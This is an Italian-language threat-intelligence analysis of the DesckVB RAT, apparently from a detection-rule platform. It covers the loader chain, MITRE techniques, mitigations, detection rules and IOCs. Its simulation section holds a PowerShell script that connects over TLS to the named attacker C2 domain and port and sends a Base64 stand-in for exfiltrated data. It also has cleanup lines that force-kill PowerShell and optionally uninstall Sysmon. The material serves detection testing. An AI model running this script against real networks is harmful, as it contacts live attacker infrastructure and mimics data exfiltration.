Analisi di DesckVB RAT: Dal Loader JavaScript al RAT Fileless .NET
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
DesckVB RAT è un trojan basato su JavaScript che si concatena a un loader PowerShell per recuperare ed eseguire una DLL .NET senza file direttamente in memoria. Per nascondere l’esecuzione, il loader si basa sulla codifica Base64 e sull’offuscamento tramite inversione delle stringhe, sfrutta InstallUtil.exe come LOLBin e avvia un nuovo processo utilizzando CreateProcessA. Una volta attivo, il RAT stabilisce comunicazioni C2 crittografate HTTPS e supporta moduli per keylogging, accesso alla webcam e rilevamento di software anti-AV.
Investigazione
L’analisi indica che la fase iniziale in JavaScript scrive uno script PowerShell in C:UsersPublic, poi raggiunge un dominio offuscato per scaricare un assembly .NET (ad esempio, ClassLibrary3.dll). L’assembly carica DLL di supporto, crea un processo sospeso e inietta codice di payload mentre riporta dettagli di configurazione come un dominio e una porta secondari maligni. La telemetria di rete conferma comunicazioni crittografate TLS dall’host infetto all’infrastruttura C2 dell’attaccante.
Mitigazione
Bloccare l’esecuzione di script PowerShell non fidati o non firmati e limitare l’uso di InstallUtil.exe per flussi di lavoro non amministrativi o non previsti. Applicare controlli rigorosi sull’uscita, inclusa l’ispezione HTTPS dove possibile e il filtraggio della reputazione del dominio per un’infrastruttura maligna identificata. Sui endpoint, rilevare l’uso di CreateProcessA con flag di processo sospeso e avvisare sui modelli di caricamento di assembly .NET in memoria coerenti con l’iniezione senza file.
Risposta
Se vengono rilevati indicatori, isolare l’endpoint, interrompere la catena di processi maligni e acquisire dump della memoria per l’analisi degli assembly e delle regioni iniettati nella memoria. Rimuovere gli artefatti PowerShell eliminati da C:UsersPublic ed eradicare eventuali DLL correlate o resti del loader. Resettare le credenziali compromesse, ruotare i segreti esposti e revisionare i log del firewall/proxy per le connessioni in uscita ai domini e alle porte elencate.
"graph TB %% Class definitions classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% Nodes loader_js["<b>Tool</b> – <b>Name</b>: Caricatore JavaScript Obfuscato<br/><b>Technique</b>: T1027.006 Smuggling HTML<br/><b>Technique</b>: T1027.008 Payload Strip<br/><b>Description</b>: Usa Base64 e inversione delle stringhe per nascondere comandi"] class loader_js tool powershell_script["<b>Tool</b> – <b>Name</b>: Script PowerShell lkpzw_01.ps1<br/><b>Technique</b>: T1059.001 PowerShell<br/><b>Description</b>: Esegue con criterio di esecuzione bypassato"] class powershell_script tool dotnet_assembly["<b>File</b>: Assembly .NET Maligno"] class dotnet_assembly file installutil_execution["<b>Tool</b> – <b>Name</b>: InstallUtil.exe<br/><b>Technique</b>: T1218.004 Esecuzione Proxy di Sistema Binario<br/><b>Description</b>: Esegue la DLL .NET tramite binario di sistema fidato"] class installutil_execution tool dotnet_reflection["<b>Malware</b> – <b>Name</b>: ClassLibrary3.dll<br/><b>Technique</b>: T1620 Caricamento Riflettente di Codice<br/><b>Description</b>: Carica assembly direttamente in memoria usando riflessione"] class dotnet_reflection malware process_hollow["<b>Azione</b> – <b>Tecnica</b>: T1055.012 Hollowing del Processo<br/><b>Description</b>: Crea un processo sospeso e inietta codice maligno"] class process_hollow action thread_hijack["<b>Azione</b> – <b>Tecnica</b>: T1055.003 Hijacking dell’Esecuzione del Thread<br/><b>Description</b>: Dirotta l’esecuzione del thread all’interno del processo target"] class thread_hijack action dll_hijack["<b>Azione</b> – <b>Tecnica</b>: T1574.001 Flusso di Esecuzione DLL Hijack<br/><b>Description</b>: Carica DLL aggiuntive in memoria per estendere la funzionalità"] class dll_hijack action keylogger_module["<b>Malware</b> – <b>Name</b>: Microsoft.exe<br/><b>Technique</b>: T1056.001 Keylogging<br/><b>Description</b>: Rilascia keylogger e altri moduli"] class keylogger_module malware c2_https["<b>Azione</b> – <b>Tecnica</b>: T1071.001 Protocolli Web<br/><b>Description</b>: Comunica su HTTPS miscelandosi con il traffico legittimo"] class c2_https action %% Connections loader_js –>|scrive ed esegue| powershell_script powershell_script –>|scarica assembly| dotnet_assembly dotnet_assembly –>|eseguito tramite| installutil_execution installutil_execution –>|carica con riflessione| dotnet_reflection dotnet_reflection –>|crea processo sospeso| process_hollow process_hollow –>|usa hijacking del thread| thread_hijack thread_hijack –>|carica DLL aggiuntive| dll_hijack dll_hijack –>|abilita| keylogger_module keylogger_module –>|comunica con C2| c2_https "
Flusso di Attacco
Rilevamenti
Esecuzione di File PowerShell in Directory Sospette Utilizzando Politica di Esecuzione Bypass (via cmdline)
Visualizza
LOLBAS WScript / CScript (via creazione_processi)
Visualizza
Stringhe PowerShell Sospette (via powershell)
Visualizza
Richiama Classi/Metodi .NET Sospetti dalla CommandLine di PowerShell (via creazione_processi)
Visualizza
File Sospetti nel Profilo Utente Pubblico (via evento_file)
Visualizza
Esecuzione Sospetta dal Profilo Utente Pubblico (via creazione_processi)
Visualizza
IOC (SourceIP) da rilevare: Analisi DesckVB RAT: Dal Caricatore JavaScript al RAT .NET senza File
Visualizza
IOC (HashMd5) da rilevare: Analisi DesckVB RAT: Dal Caricatore JavaScript al RAT .NET senza File
Visualizza
IOC (HashSha256) da rilevare: Analisi DesckVB RAT: Dal Caricatore JavaScript al RAT .NET senza File
Visualizza
IOC (DestinationIP) da rilevare: Analisi DesckVB RAT: Dal Caricatore JavaScript al RAT .NET senza File
Visualizza
Rilevamento della Comunicazione C2 di DesckVB RAT [Connessione Rete Windows]
Visualizza
Rilevamento dell’Esecuzione PowerShell e InstallUtil di DesckVB RAT [PowerShell di Windows]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre‑volo di Telemetria & Baseline deve essere passato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirano a generare esattamente la telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.
-
Narrativa & Comandi dell’Attacco:
L’attaccante, ottenuto il primo accesso, lancia un payload basato su PowerShell “living‑off‑the‑land” che apre una connessione TCP avvolta da TLS al dominio C2 hard-codedmanikandan83.mysynology.netsulla porta 7535. Il payload codifica un blocchetto di dati dummy con Base64 (illustrando T1132.002) e lo trasmette sul canale TLS. Poiché vengono utilizzate le classi .NET di PowerShell, nessun binario esterno viene scritto su disco, rispecchiando la natura senza file di DesckVB RAT. La connessione è stabilita da un sottoprocesso (powershell.exe) che sarà catturato da Sysmon come evento di connessione di rete con il dominio, la porta e il flag di handshake TLS esatti che la regola monitora. -
Script di Test di Regressione:
# -------------------------------------------------------------- # Simulazione di Comunicazione C2 di DesckVB RAT (PowerShell) # -------------------------------------------------------------- # Parametri $c2Domain = "manikandan83.mysynology.net" $c2Port = 7535 # Payload dummy (codificato Base64) – rappresenta dati esfiltrati $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42")) try { # Stabilire connessione TCP $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port) $netStream = $tcpClient.GetStream() # Avvolgere con TLS (SslStream) $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true})) $sslStream.AuthenticateAsClient($c2Domain) Write-Host "[+] Handshake TLS completato con $c2Domain:$c2Port" # Invia prefisso lunghezza payload (4-byte big-endian) poi dati $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $len = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length)) $sslStream.Write($len,0,$len.Length) $sslStream.Write($bytes,0,$bytes.Length) $sslStream.Flush() Write-Host "[+] Payload inviato (lunghezza Base64 $($bytes.Length))" } catch { Write-Error "[-] Connessione fallita: $_" } finally { # Spegnimento pulito if ($sslStream) { $sslStream.Close() } if ($netStream) { $netStream.Close() } if ($tcpClient) { $tcpClient.Close() } Write-Host "[*] Connessione terminata." } -
Comandi di Pulizia:
# Assicurarsi che eventuali connessioni PowerShell NetTCP persistenti siano chiuse Get-Process -Name powershell | Where-Object { $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient' } | Stop-Process -Force # Opzionale: Rimuovere Sysmon (se questo è un ambiente di test occasionale) # & "$env:ProgramFilesSysmonSysmon.exe" -u